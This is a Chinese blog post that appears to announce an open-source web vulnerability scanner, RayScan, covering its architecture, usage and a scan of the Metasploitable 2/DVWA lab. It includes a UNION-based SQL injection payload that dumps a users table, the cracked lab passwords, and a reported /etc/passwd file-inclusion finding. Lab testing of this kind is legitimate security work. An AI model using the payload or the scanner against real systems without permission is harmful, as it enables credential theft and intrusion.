我开源了一个 Web 扫描器,在 Metasploitable 2 上发现了 83 个漏洞

项目 : RayScan --- 开箱即用的 Web 漏洞扫描器 实战报告 : 单目标 83 个漏洞,SQL 注入提取全部用户密码 技术栈: Python asyncio · 11 检测模块 · CLI + Web UI


为什么写这个工具

市面上的开源扫描器要么太重(配套数据库、消息队列),要么太老(多年不维护),要么只扫单一漏洞。

我想要的是一个 开箱即用、覆盖全面、还能看到实时扫描过程 的扫描器:

  • pip install 就能跑,不用配数据库
  • 命令行一行搞定,也有 Web 界面
  • 覆盖 OWASP Top 10 常见漏洞
  • 能看到扫描器在做什么,而不是黑盒等结果

于是有了 RayScan。

架构

bash 复制代码
wvs/                     ← 核心检测引擎
├── core/                ← 爬虫 + 扫描调度 + 去重
├── modules/             ← 11 个检测模块
│   ├── sqli/            ← SQL 注入(报错/布尔/时间/联合)
│   ├── xss/             ← 反射型/存储型/DOM 型
│   ├── lfi/             ← 文件包含 + 路径遍历
│   ├── cmdi/            ← 命令注入
│   ├── ssrf/xxe/rce/    ← 其他高危漏洞
│   └── api/sensitive/   ← API 安全 + 敏感信息
└── reporting/           ← HTML/JSON/Markdown 报告

web_ui/                  ← Web 可视化界面
├── app.py               ← Flask + SSE 实时日志
└── templates/

实战:扫 Metasploitable 2

我用 DVWA(Metasploitable 2)做完整验证:

ini 复制代码
RayScan 1.0.2 扫描目标: http://192.168.18.131
模块: sqli, cmdi, xss, lfi, rce, api, sensitive, xxe, ssrf
速率: 15 req/s

[*] Crawling...     49 pages, 96 endpoints, 9 forms
[+] DVWA login OK (admin:password)

[*] Phase 2/4: Running detectors...
  [sqli]      Found SQL injection in id parameter
  [sensitive] Found /phpinfo.php, /test/ exposed
  [lfi]       Found /etc/passwd via page= parameter
  [api]       Apache/2.2.8 version disclosure (80x)

✅ 83 vulnerabilities found

SQL 注入提取密码

最直接的成果:通过联合查询注入拿到 users 表全部数据:

sql 复制代码
-1' UNION SELECT 1,GROUP_CONCAT(user,0x3a,password) FROM users--

admin:5f4dcc3b5aa765d61d8327deb882cf99  →  password
gordonb:e99a18c428cb38d5f260853678922e03 →  abc123
1337:8d3533d75ae2c3966d7e0d4fcc69216b    →  charley
pablo:0d107d09f5bbe40cade3de5c71e9e9b7   →  letmein
smithy:5f4dcc3b5aa765d61d8327deb882cf99  →  password

5 个用户密码全部提取,MD5 可逆向。

两个使用方式

命令行(适合日常扫描)

bash 复制代码
git clone https://github.com/xiabai2004/RayScan
cd RayScan
pip install -e .

# 快速扫描
python -m wvs scan http://目标.com

# 仅扫特定模块
python -m wvs scan http://目标.com --modules sqli xss lfi

# 输出 JSON 报告
python -m wvs scan http://目标.com -o result.json -f json

Web UI(适合可视化操作)

bash 复制代码
pip install flask
cd web_ui && python app.py
# 浏览器打开 http://localhost:5000

Web UI 支持:

  • 深色/浅色主题一键切换
  • 实时日志流 --- 和 CLI 完全一致的输出
  • 发现漏洞即时显示在结果表
  • 响应式布局,手机也能看

实测表现

指标 数值
测试用例 316 个,全部通过
靶场验证 Metasploitable 2 / DVWA
发现漏洞 83 个(含 SQLi 注入提取数据)
单目标耗时 约 60 秒
支持协议 HTTP / HTTPS
报告格式 HTML / JSON / Markdown

下一步计划

  • Nuclei 模板集成
  • 爬虫性能优化(目前 50 URL/目标)
  • 更多靶场兼容性测试
  • CI/CD 流水线(已配置 GitHub Actions)

项目地址 : github.com/xiabai2004/...

如果觉得有用,欢迎 Star ⭐ 支持!有任何问题可以提 Issue 或直接讨论。

相关推荐
莫晓燚10 小时前
Ansible 13 个常用模块---企业实战
git·github
程序员柒叔11 小时前
Diagram Design 解构:45 种图型如何用语义路由与 SVG 质量门交付
人工智能·github·agent·skills
逛逛GitHub11 小时前
9 个神级 GitHub 项目助你蹭上抖音、小红书 Vibe 知识大赏热点。
github
m4Rk_11 小时前
【论文阅读】Agent 记忆机制(119):EvoLife——让具身 Agent 把主动问到的答案沉淀为可复用的空间经验
论文阅读·人工智能·学习·开源·github
后台模板学习15 小时前
GitHub Actions 与 Jenkins 在日志监
运维·github·jenkins
miofly15 小时前
GitHub 今日推荐|auto-ontology:给 Agent 装上企业数据的语义索引
python·开源·github
miofly17 小时前
GitHub 日榜趋势速报 | 2026-11-04
开源·github
钱栈up1 天前
GitHub 热榜上手|Orca:让多个编码 Agent 并排跑
github
wflynn1 天前
GitHub 日榜趋势速报 | 2026-11-02
开源·github
徐小夕1 天前
深度剖析 30k star 的编码 Agent DeepSeek-Reasonix:长会话 Token 成本直降 80%
前端·vue.js·github